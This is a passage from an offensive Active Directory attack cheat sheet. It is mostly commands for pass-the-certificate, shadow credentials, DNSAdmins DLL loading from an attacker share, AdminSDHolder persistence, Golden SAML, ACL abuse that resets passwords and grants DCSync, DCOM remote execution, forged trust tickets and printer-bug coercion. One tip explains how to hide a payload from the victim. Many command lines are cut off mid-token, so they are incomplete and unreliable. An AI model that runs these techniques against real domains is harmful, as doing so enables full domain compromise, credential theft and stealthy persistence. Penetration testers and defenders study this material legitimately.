getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Adm
```

Pass-The-Certificate

> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"

- Windows

```
# Information about a cert file
```

```
certutil -v -dump admin.pfx

# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CER

# Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate
# To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate
```

- Linux

```
# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_

# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_I

# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "
```

UnPAC The Hash

Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.

- Windows

```
# Request a ticket using a certificate and use /getcredentials to retrieve the
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_
```

- Linux

```
# Obtain a TGT by validating a PKINIT pre-authentication
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASS

# Use the session key to recover the NT hash
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key
```

Shadow Credentials

> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

Requirements:

- Domain Controller on (at least) Windows Server 2016
- Domain must have Active Directory `Certificate Services` and `Certificate Authority` configured
- PKINIT Kerberos authentication
- An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object

Exploitation:

- From Windows, use Whisker:

```
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target
Whisker.exe list /target:computername$
# Generates a public-private key pair and adds a new key credential to the ta
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CO
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso
# Removes a key credential from the target object specified by a DeviceID GUI
Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.conto
```

- From Linux, use pyWhisker:

```
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --targ
# Generates a public-private key pair and adds a new key credential to the ta
pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --targ
# Removes a key credential from the target object specified by a DeviceID GUI
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --targ
```

Scenario:

- **Scenario 1**: Shadow Credential relaying
  - Trigger an NTLM authentication from `DC01` (PetitPotam)
  - Relay it to `DC02` (ntlmrelayx)
  - Edit `DC01` 's attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
  - Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
- **Scenario 2**: Workstation Takeover with RBCD

```
# Only for C2: Add Reverse Port Forward from 8081 to Team Server 81

# Set up ntlmrelayx to relay authentication from target workstation to DC
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials -

# Execute printer bug to trigger authentication from target workstation
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/

# Get a TGT using the newly acquired certificate via PKINIT
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/imp

# Get a ST (service ticket) for the target account
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccach

# Utilize the ST for future activity
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
```

Active Directory Groups

Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `"dminCount` attribute to `0` for the required object.

> The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with `AdminCount=1` .

```
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_us
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or
([adsisearcher]"(AdminCount=1)").findall()
```

AdminSDHolder Abuse

> The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour). E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

```
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=loca

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights Re

# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountN
```

Abusing DNS Admins Group

> It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).

:warning: Require privileges to restart the DNS service.

- Enumerate members of DNSAdmins group

  ```
  Get-NetGroupMember -GroupName "DNSAdmins"
  Get-ADGroupMember -Identity DNSAdmins
  ```

- Change dll loaded by the DNS service

```
# with RSAT
dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.d
dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\prives

# with DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verl
```

- Check the previous command success

```
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Nam
```

- Restart DNS

```
sc \\dc01 stop dns
sc \\dc01 start dns
```

Abusing Schema Admins Group

> The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory.

Abusing Backup Operators Group

> Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.

This groups grants the following privileges :

- SeBackup privileges
- SeRestore privileges

- Get members of the group:

```
PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse
```

- Enable privileges using giuliano108/SeBackupPrivilege

```
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Set-SeBackupPrivilege
Get-SeBackupPrivilege
```

- Retrieve sensitive files

```
Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\fl
```

- Retrieve content of AutoLogon in the HKLM\SOFTWARE hive

```
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', 'dc.h
$winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Win
$winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"}
```

- Retrieve SAM,SECURITY and SYSTEM hives
  - mpgn/BackupOperatorToDA: `.\BackupOperatorToDA.exe -t \\dc1.lab.local -u user -p pass -d domain -o \\10.10.10.10\SHARE\`
  - improsec/BackupOperatorToolkit: `.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK`

Active Directory Federation Services

ADFS - Golden SAML

Requirements:

- ADFS service account
- The private key (PFX with the decryption password)

Exploitation:

- Run mandiant/ADFSDump on AD FS server as the AD FS service account. It will query the Windows Internal Database (WID): `\\.\pipe\MICROSOFT##WID\tsql\query`
- Convert PFX and Private Key to binary format

```
# For the pfx
echo AAAAAQAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin
# For the private key
echo f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin
```

- Create the Golden SAML using mandiant/ADFSpoof, you might need to update the dependencies.

```
mkdir ADFSpoofTools
cd $_
git clone https://tinyurl.com/288gz2k2
git clone https://tinyurl.com/2b239rsq
virtualenv3 venvADFSSpoof
source venvADFSSpoof/bin/activate
pip install lxml
pip install signxml
pip uninstall -y cryptography
cd cryptography
pip install -e .
cd ../ADFSpoof
pip install -r requirements.txt
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 -
/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format
```

Other interesting tools to exploit AD FS:

- WhiskeySAML

Active Directory Integrated DNS

ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.

- Enumerate all records using dirkjanm/adidnsdump

```
adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
```

- Query a node using dirkjanm/krbrelayx

```
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $Domain
```

- Add a node and attach a record

```
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $A
```

The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.

```
Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLM
```

Abusing Active Directory ACLs/ACEs

Check ACL for an User with ADACLScanner.

```
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtre
```

GenericAll

- **GenericAll on User** : We can reset user's password without knowing the current password
- **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
  - On Windows : `net group "domain admins" hacker /add /domain`
  - On Linux:
    - using the Samba software suite : `net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
    - using bloodyAD: `bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`
- **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.

```
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"

# Check if current user has already an SPN setted:
PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalnam

# Force set the SPN on the account: Targeted Kerberoasting
PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/wha
PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalnam

# Grab the ticket
PowerView2 > $User = Get-DomainUser username
PowerView2 > $User | Get-DomainSPNTicket | fl
PowerView2 > $User | Select serviceprincipalname

# Remove the SPN
```

```
PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
```

- **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
    - On Windows:

```
# Modify the userAccountControl
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=41

# Grab the ticket
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username

# Set back the userAccountControl
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=41
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
```

    - On Linux:

```
# Modify the userAccountControl
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] se

# Grab the ticket
$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat

# Set back the userAccountControl
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] se
```

GenericWrite

- Reset another user's password
    - On Windows:

```
# https://tinyurl.com/23qt93s8
$user = 'DOMAIN\user1';
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass
```

    - On Linux:

```
# Using rpcclient from the  Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target

# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD
```

- WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`

GenericWrite and Remote Connection Manager

> Now let's say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called 'Environment'.
>
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the 'Starting program' field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://tinyurl.com/2d6rz79q

:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

```
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
```

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

WriteDACL

To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is

possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`

- WriteDACL on Domain:
  - On Windows:

```
# Give DCSync right to the principal identity
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local'
```

  - On Linux:

```
# Give DCSync right to the principal identity
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760

# Remove right after DCSync
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760
```

- WriteDACL on Group

```
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers
net group "INTERESTING_GROUP" User1 /add /domain
```

Or

```
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGeneri

# Remove right
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGeneri
```

WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

```
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_princi
```

Or

```
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devi
```

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.

ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the Reading LAPS Password section.

```
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admp
```

Or for a given computer

```
bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAtt
```

ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

```
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-Managed
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
```

Or

```
python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getOb
```

ForceChangePassword

An attacker can change the password of the user this ACE applies to:

- On Windows, this can be achieved with `Set-DomainUserPassword` (PowerView module):

```
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
```

- On Linux:

```
# Using rpcclient from the  Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 2

# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388
```

DCOM Exploitation

> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.

- Impacket DCOMExec.py

```
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-ol
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_(
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_(

python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWOI
# -object MMC20 specifies that we wish to instantiate the MMC20.Application ol
# -silentcommand executes the command without attempting to retrieve the outpu
```

- CheeseTools - https://tinyurl.com/24oanh6m

```
# https://tinyurl.com/22y54zhr
-t, --target=VALUE         Target Machine
-b, --binary=VALUE         Binary: powershell.exe
-a, --args=VALUE           Arguments: -enc <blah>
-m, --method=VALUE         Methods: MMC20Application, ShellWindows,
                            ShellBrowserWindow, ExcelDDE, VisioAddonEx,
                            OutlookShellEx, ExcelXLL, VisioExecLine,
                            OfficeMacro
-r, --reg, --registry      Enable registry manipulation
-h, -?, --help             Show Help

Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE
```

- Invoke-DCOM - https://tinyurl.com/25tylcrb

```
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "c
Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.e
```

DCOM via MMC Application Class

This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named **"ExecuteShellCommand"** under **Document.ActiveView**.

```
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Appli
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.ex
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Windows

# Weaponized example with MSBuild
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Appli
```

Invoke-MMC20RCE : https://tinyurl.com/249onjl6

DCOM via Office

- Excel.Application
  - DDEInitiate
  - RegisterXLL
- Outlook.Application
  - CreateObject->Shell.Application->ShellExecute
  - CreateObject->ScriptControl (office-32bit only)
- Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
  - Addons
  - ExecuteLine
- Word.Application
  - RunAutoMacro

```
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro
Invoke-Excel4DCOM64.ps1 https://tinyurl.com/2akvepcq
Invoke-ExShellcode.ps1 https://tinyurl.com/2axccuph
```

```
# Using Excel DDE
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.App
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")

# Using Excel RegisterXLL
# Can't be used reliably with a remote target
Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\
PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Applica
PS> $excel.RegisterXLL("EvilXLL.dll")

# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleAp
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")
```

DCOM via ShellExecute

```
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\syste
```

DCOM via ShellBrowserWindow

:warning: Windows 10 only, the object doesn't exists in Windows 7

```
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null
```

Trust relationship between domains

- One-way
  - Domain B trusts A
  - Users in Domain A can access resources in Domain B
  - Users in Domain B cannot access resources in Domain A
- Two-way
  - Domain A trusts Domain B
  - Domain B trusts Domain A

- Authentication requests can be passed between the two domains in both directions

Enumerate trusts between domains

```
nltest /trusted_domains
```

or

```
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTru

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                 TreeRoot       Bidirectional
```

Exploit trusts between domains

:warning: Require a Domain-Admin level access to the current domain.

Source	Target	Technique to use	Trust relationship
Root	Child	Golden Ticket + Enterprise Admin group (Mimikatz /groups)	Inter Realm (2-way)
Child	Child	SID History exploitation (Mimikatz /sids)	Inter Realm Parent-Child (2-way)
Child	Root	SID History exploitation (Mimikatz /sids)	Inter Realm Tree-Root (2-way)
Forest A	Forest B	PrinterBug + Unconstrained delegation ?	Inter Realm Forest or External (2-way)

Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Requirements:

- KRBTGT Hash
- Find the SID of the domain

```
$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

# with Impacket
lookupsid.py domain/user:password@10.10.10.10
```

- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain.

```
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local
```

Forest to Forest Compromise - Trust Ticket

- Require: SID filtering disabled

From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain's enterprise admins group to our **SID history**.

Dumping trust passwords (trust keys)

> Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing **$** are computer accounts, but some are trust accounts.

```
lsadump::trust /patch

or find the TRUST_NAME$ machine account hash
```

Create a forged trust ticket (inter-realm TGT) using Mimikatz

```
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /r
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:
```

Use the Trust Ticket file to get a ST for the targeted service

```
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc
```

Inject the ST file and access the targeted service with the spoofed rights.

```
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
```

Privileged Access Management (PAM) Trust

> PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.

Requirements:

- Windows Server 2016 or earlier

If we compromise the bastion we get `Domain Admins` privileges on the other domain

- Default configuration for PAM Trust

  ```
  # execute on our forest
  netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes
  netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes
  netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes
  netdom trust lab.local /domain:bastion.local /Quarantine:No
  # execute on our bastion
  netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes
  ```

- Enumerate PAM trusts

  ```
  # Detect if current forest is PAM trust
  Import ADModule
  Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantin
  
  # Enumerate shadow security principals
  Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," +
  
  # Enumerate if current forest is managed by a bastion forest
  # Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External
  Get-ADTrust -Filter {(ForestTransitive -eq $True)}
  ```

- Compromise
  - Using the previously found Shadow Security Principal (WinRM account, RDP access,

SQL, ...)
    - Using SID History
- Persistence

```
# Add a compromised user to the group
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal C
```

Kerberos Unconstrained Delegation

> The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. - https://tinyurl.com/yaqrsrpz

> When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.

:warning: Unconstrained delegation used to be the only option available in Windows 2000

> **Warning** Remember to coerce to a HOSTNAME if you want a Kerberos Ticket

SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

Requirements:

- Object with Property **Trust this computer for delegation to any service (Kerberos only)**
- Must have **ADS_UF_TRUSTED_FOR_DELEGATION**
- Must not have **ADS_UF_NOT_DELEGATED** flag
- User must not be in the **Protected Users** group
- User must not have the flag **Account is sensitive and cannot be delegated**

Find delegation

:warning: : Domain controllers usually have unconstrained delegation enabled.
Check the `TRUSTED_FOR_DELEGATION` property.

- ADModule

```
# From https://tinyurl.com/2cw3ttv2
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
```

- ldapdomaindump

```
$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
grep TRUSTED_FOR_DELEGATION domain_computers.grep
```

- CrackMapExec module

```
cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation
```

- BloodHound: `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c`
- Powershell Active Directory module: `Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl`

SpoolService status

Check if the spool service is running on the remote host

```
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10
```

Monitor with Rubeus

Monitor incoming connections from Rubeus.

```
Rubeus.exe monitor /interval:1
```

Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

> SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

```
# From https://tinyurl.com/2ayxk6t8
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
```

```
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From https://tinyurl.com/2759zpmk/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-D

# From https://tinyurl.com/295nuyu8#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAM
```

If the attack worked you should get a TGT of the domain controller.

Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

```
.\Rubeus.exe asktgs /ticket:<ticket base64> /service:LDAP/dc.lab.local,cifs/dc.la
```

Alternatively you could also grab the ticket using Mimikatz : `mimikatz # sekurlsa::tickets`

Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`

Mitigation

